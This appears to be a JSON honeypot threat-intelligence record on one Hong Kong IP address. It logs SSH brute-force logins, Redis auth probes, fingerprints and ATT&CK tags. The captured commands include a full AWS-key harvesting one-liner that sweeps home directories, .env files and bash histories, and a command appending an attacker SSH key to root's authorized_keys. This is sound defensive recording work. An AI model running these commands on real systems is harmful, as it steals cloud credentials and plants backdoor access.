{"ip":"45.115.26.155","data_as_of":"2026-10-26T06:40:14+00:00","observed":true,"total_events":67,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"3 interactive session(s) ran commands after logging in","confidence":"high","network_type":null,"why":["3 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 67 event(s) from this address as well.","Not in any known-scanner range.","Sent 10,023 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"10,023 bytes sent","bytes_sent":10023,"session_seconds":2,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-05T00:57:53","last_seen":"2026-10-25T06:44:17","events_24h":0,"events_7d":21,"interactive_sessions":3,"interactive_sessions_24h":1,"interactive_sessions_7d":3,"interactive_protocols":[{"protocol":"ssh","sessions":3}],"geo":{"country_code":"HK","country_name":"Hong Kong","region":"","city":"","lat":22.2578,"lon":114.1657,"asn":199457,"org":"SolidCore Hosting LTD"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":3,"first_seen":"2026-10-23T17:34:57","last_seen":"2026-10-25T06:44:17","verdicts":[{"verdict":"post-exploitation","sessions":3}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":3}],"services":[{"protocol":"ssh","port":22,"sessions":3}],"logins":[{"username":"ssh","password":"ddad669998","password_sent":true,"service":"ssh-password","outcome":"success","tries":3,"last_seen":"2026-10-25T06:44:15"}],"commands":[{"ts":"2026-10-25T06:44:16","session_id":"e7325810-60f1-46a9-83ae-e8d80e077692","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"for d in /root /home/*; do   cat $d/.aws/credentials $d/.aws/config 2>/dev/null; done; env | grep -iE 'AKIA|AWS_ACCESS|AWS_SECRET|SECRET_ACCESS' 2>/dev/null; grep -rhoE 'AKIA[0-9A-Z]{16}' /root/.bash_history /home/*/.bash_history 2>/dev/null | head -3; for f in $(find /root /home /var/www /opt /srv /app /data -maxdepth 4 -name '.env' -not -path '*/node_modules/*' 2>/dev/null | head -6); do   echo \"==ENVFILE $f\"; grep -E 'AKIA|AWS_|SECRET_ACCESS|ACCESS_KEY' \"$f\" 2>/dev/null | head -4; done; grep -rhoE 'AKIA[0-9A-Z]{16}' /root /home /opt /srv /data /var/www --include='*.env' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.conf' --include='*.ini' --include='*.toml' --include='credentials' --include='*.sh' --include='*.py' --include='*.js' --include='*.ts' --include='*.go' --include='*.java' --include='*.rb' --include='*.php' 2>/dev/null | sort -u | head -6; grep -rEho 'AKIA[0-9A-Z]{16}[:= ][A-Za-z0-9/+=]{40}' /root /home /opt /srv /data /var/www --include='*.env' --include='credentials' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.conf' --include='*.ini' --include='*.toml' --include='*.sh' --include='*.py' 2>/dev/null | sort -u | head -8","exit_code":0},{"ts":"2026-10-23T17:34:59","session_id":"2f820397-410f-449d-911d-a99c3e17a660","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"mkdir -p /root/.ssh && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBJsmbJNMmJDLUp1ZjyWdsrA4zOSF2q0gtaj9e9pjiNs agent15-cloudcode' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys","exit_code":1},{"ts":"2026-10-23T17:34:57","session_id":"5f231148-413f-4be0-8628-63d9cfce9977","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"id","exit_code":0}],"downloads":[],"files":[],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":3},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":3},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":3}]},"top_ports":[{"port":6379,"proto":"tcp","label":"Redis","count":21,"sessions":0},{"port":10444,"proto":"tcp","label":"","count":3,"sessions":0},{"port":20443,"proto":"tcp","label":"","count":3,"sessions":0},{"port":11443,"proto":"tcp","label":"","count":3,"sessions":0},{"port":4443,"proto":"tcp","label":"","count":3,"sessions":0},{"port":9443,"proto":"tcp","label":"","count":3,"sessions":0},{"port":10443,"proto":"tcp","label":"","count":3,"sessions":0},{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":3},{"port":444,"proto":"tcp","label":"","count":2,"sessions":0},{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":2,"sessions":0},{"port":8200,"proto":"tcp","label":"","count":2,"sessions":0},{"port":8000,"proto":"tcp","label":"HTTP-alt","count":2,"sessions":0},{"port":9000,"proto":"tcp","label":"Web-alt","count":2,"sessions":0},{"port":9380,"proto":"tcp","label":"","count":1,"sessions":0},{"port":6334,"proto":"tcp","label":"","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":["aae6b9604f6f3356543709a376d7f657"],"tls_ja4":["t13i251000_b78ed14e2fd0_ab7e3b40a677","t12i160700_8cdfa2d4673b_da1760d18e18"],"tls_client_hello":"16030100ba010000b60303c6c2e2e0c2cb9e264aec443d894f60aa0eb2d96259c40629387f8115bbb56367204395c8095fca124e1fb1bcee5d924ff84b857586cee90d2d10f89ab687509aa80020cca8cca9c02fc030c02bc02cc013c009c014c00a009c009d002f0035c012000a0100004d000500050100000000000a000a0008001d001700180019000b00020100000d0018001608040805080604010403050105030601060302010203ff0100010000120000002b000706030303020301","tls_ja3":["416eca07dcaad72dec6f76d1277b3eff","1ded1585cb6c61b529e75ada28fb83a4"],"http_akin":["b11cun050_00060013_3ef9a8f6","b11cun040_00040016_aa48e2c8","b11cun170_101c77df_cb2c00a6"],"interactive":{"ssh_hassh":["aae6b9604f6f3356543709a376d7f657"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i251000_b78ed14e2fd0_ab7e3b40a677":100,"t12i160700_8cdfa2d4673b_da1760d18e18":2,"aae6b9604f6f3356543709a376d7f657":1,"b11cun050_00060013_3ef9a8f6":159,"b11cun040_00040016_aa48e2c8":5568,"b11cun170_101c77df_cb2c00a6":2},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5897.0 Safari/537.36","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6199.0 Safari/537.36","Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.2","Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.8","Mozilla/5.0"],"timeline":[{"date":"2026-10-05","count":44,"sessions":0},{"date":"2026-10-18","count":2,"sessions":0},{"date":"2026-10-22","count":21,"sessions":0},{"date":"2026-10-23","count":0,"sessions":2},{"date":"2026-10-25","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-25T06:44:16","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"for d in /root /home/*; do   cat $d/.aws/credentials $d/.aws/config 2>/dev/null; done; env | grep -iE 'AKIA|AWS_ACCESS|AWS_SECRET|SECRET_ACCESS' 2>/dev/null; grep -rhoE 'AKIA[0-9A-Z]{16}' /root/.bash_history /home/*/.bash_history 2>/dev/null | head -3; for f in $(find /root /home /var/www /opt /srv /app /data -maxdepth 4 -name '.env' -not -path '*/node_modules/*' 2>/dev/null | head -6); do   echo \"==ENVFILE $f\"; grep -E 'AKIA|AWS_|SECRET_ACCESS|ACCESS_KEY' \"$f\" 2>/dev/null | head -4; done; grep -rhoE 'AKIA[0-9A-Z]{16}' /root /home /opt /srv /data /var/www --include='*.env' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.conf' --include='*.ini' --include='*.toml' --include='credentials' --include='*.sh' --include='*.py' --include='*.js' --include='*.ts' --include='*.go' --include='*.java' --include='*.rb' --include='*.php' 2>/dev/null | sort -u | head -6; grep -rEho 'AKIA[0-9A-Z]{16}[:= ][A-Za-z0-9/+=]{40}' /root /home /opt /srv /data /var/www --include='*.env' --include='credentials' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.conf' --include='*.ini' --include='*.toml' --include='*.sh' --include='*.py' 2>/dev/null | sort -u | head -8","payload_hex":"666f72206420696e202f726f6f74202f686f6d652f2a3b20646f2020206361742024642f2e6177732f63726564656e7469616c732024642f2e6177732f636f6e66696720323e2f6465762f6e756c6c3b20646f6e653b20656e76207c2067726570202d69452027414b49417c4157535f4143434553537c4157535f5345435245547c5345435245545f4143434553532720323e2f6465762f6e756c6c3b2067726570202d72686f452027414b49415b302d39412d5a5d7b31367d27202f726f6f742f2e626173685f686973746f7279202f686f6d652f2a2f2e626173685f686973746f727920323e2f6465762f6e756c6c207c2068656164202d333b20666f72206620696e20242866696e64202f726f6f74202f686f6d65202f7661722f777777202f6f7074202f737276202f617070202f64617461202d6d617864657074682034202d6e616d6520272e656e7627202d6e6f74202d7061746820272a2f6e6f64655f6d6f64756c65732f2a2720323e2f6465762f6e756c6c207c2068656164202d36293b20646f2020206563686f20223d3d454e5646494c45202466223b2067726570202d452027414b49417c4157535f7c5345435245545f4143434553537c4143434553535f4b455927202224662220323e2f6465762f6e756c6c207c2068656164202d343b20646f6e653b2067726570202d72686f452027414b49415b302d39412d5a5d7b31367d27202f726f6f74202f686f6d65202f6f7074202f737276202f64617461202f7661722f777777202d2d696e636c7564653d272a2e656e7627202d2d696e636c7564653d272a2e796d6c27202d2d696e636c7564653d272a2e79616d6c27202d2d696e636c7564653d272a2e6a736f6e27202d2d696e636c7564653d272a2e636f6e6627202d2d696e636c7564653d272a2e696e6927202d2d696e636c7564653d272a2e746f6d6c27202d2d696e636c7564653d2763726564656e7469616c7327202d2d696e636c7564653d272a2e736827202d2d696e636c7564653d272a2e707927202d2d696e636c7564653d272a2e6a7327202d2d696e636c7564653d272a2e747327202d2d696e636c7564653d272a2e676f27202d2d696e636c7564653d272a2e6a61766127202d2d696e636c7564653d272a2e726227202d2d696e636c7564653d272a2e7068702720323e2f6465762f6e756c6c207c20736f7274202d75207c2068656164202d363b2067726570202d7245686f2027414b49415b302d39412d5a5d7b31367d5b3a3d205d5b412d5a612d7a302d392f2b3d5d7b34307d27202f726f6f74202f686f6d65202f6f7074202f737276202f64617461202f7661722f777777202d2d696e636c7564653d272a2e656e7627202d2d696e636c7564653d2763726564656e7469616c7327202d2d696e636c7564653d272a2e796d6c27202d2d696e636c7564653d272a2e79616d6c27202d2d696e636c7564653d272a2e6a736f6e27202d2d696e636c7564653d272a2e636f6e6627202d2d696e636c7564653d272a2e696e6927202d2d696e636c7564653d272a2e746f6d6c27202d2d696e636c7564653d272a2e736827202d2d696e636c7564653d272a2e70792720323e2f6465762f6e756c6c207c20736f7274202d75207c2068656164202d38","method":"","user_agent":"","ja3":"","session":"e7325810-60f1-46a9-83ae-e8d80e077692-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"88eb14b65b9db7ed","strings":["for d in /root /home/*; do   cat $d/.aws/credentials $d/.aws/config 2>/dev/null;…"],"iocs":{"paths":["/.aws/credentials","/.aws/config","/dev/null"]}},"interactive":true},{"timestamp":"2026-10-25T06:44:16","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000\u0004LANG\u0000\u0000\u0000\u000ben_US.UTF-8","payload_hex":"000000044c414e470000000b656e5f55532e5554462d38","method":"","user_agent":"","ja3":"","session":"e7325810-60f1-46a9-83ae-e8d80e077692-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"45cb3ca3b49d36d9","strings":["LANG","en_US.UTF-8"]},"interactive":true},{"timestamp":"2026-10-25T06:44:16","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"","payload_hex":"","method":"","user_agent":"","ja3":"","session":"e7325810-60f1-46a9-83ae-e8d80e077692-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T17:34:59","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000\u0004LANG\u0000\u0000\u0000\u000ben_US.UTF-8","payload_hex":"000000044c414e470000000b656e5f55532e5554462d38","method":"","user_agent":"","ja3":"","session":"2f820397-410f-449d-911d-a99c3e17a660-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"45cb3ca3b49d36d9","strings":["LANG","en_US.UTF-8"]},"interactive":true},{"timestamp":"2026-10-23T17:34:59","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"mkdir -p /root/.ssh && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBJsmbJNMmJDLUp1ZjyWdsrA4zOSF2q0gtaj9e9pjiNs agent15-cloudcode' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys","payload_hex":"6d6b646972202d70202f726f6f742f2e737368202626206563686f20277373682d65643235353139204141414143334e7a6143316c5a4449314e5445354141414149424a736d624a4e4d6d4a444c5570315a6a795764737241347a4f53463271306774616a396539706a694e73206167656e7431352d636c6f7564636f646527203e3e202f726f6f742f2e7373682f617574686f72697a65645f6b6579732026262063686d6f6420363030202f726f6f742f2e7373682f617574686f72697a65645f6b657973","method":"","user_agent":"","ja3":"","session":"2f820397-410f-449d-911d-a99c3e17a660-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"55af2bade43cb06d","strings":["mkdir -p /root/.ssh && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBJsmbJNMmJDLUp…"],"iocs":{"paths":["/root/.ssh"]}},"interactive":true},{"timestamp":"2026-10-23T17:34:59","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"","payload_hex":"","method":"","user_agent":"","ja3":"","session":"2f820397-410f-449d-911d-a99c3e17a660-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T17:34:57","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0000\u0000\u0000\u0004LANG\u0000\u0000\u0000\u000ben_US.UTF-8","payload_hex":"000000044c414e470000000b656e5f55532e5554462d38","method":"","user_agent":"","ja3":"","session":"5f231148-413f-4be0-8628-63d9cfce9977-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"45cb3ca3b49d36d9","strings":["LANG","en_US.UTF-8"]},"interactive":true},{"timestamp":"2026-10-23T17:34:57","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"id","payload_hex":"6964","method":"","user_agent":"","ja3":"","session":"5f231148-413f-4be0-8628-63d9cfce9977-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-23T17:34:56","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"","payload_hex":"","method":"","user_agent":"","ja3":"","session":"5f231148-413f-4be0-8628-63d9cfce9977-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T23:22:18","port":6379,"proto":"tcp","app_proto":"","app_protocol":"redis","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"*5\r\n$5\r\nhello\r\n$1\r\n3\r\n$4\r\nauth\r\n$5\r\nredis\r\n$9\r\nlcl842077\r\n","payload_hex":"2a350d0a24350d0a68656c6c6f0d0a24310d0a330d0a24340d0a617574680d0a24350d0a72656469730d0a24390d0a6c636c3834323037370d0a","method":"","user_agent":"","ja3":"","session":"348ab665-38e7-411f-b7f1-3e2ad71643ec","seq":1,"duration_ms":100,"bytes_in":58,"bytes_out":5,"enriched":{"digest":"053a304ec1b8797d","label":"Redis (RESP)","strings":["hello","auth","redis","lcl842077"]}}],"http_methods":[{"method":"GET","count":45}],"distinct_ports_total":31,"top_paths":[{"path":"/","count":37,"ports":27},{"path":"/favicon.ico","count":6,"ports":6},{"path":"/v1/sys/seal-status","count":2,"ports":1}],"distinct_paths_total":3,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":3},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":3},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":3}]}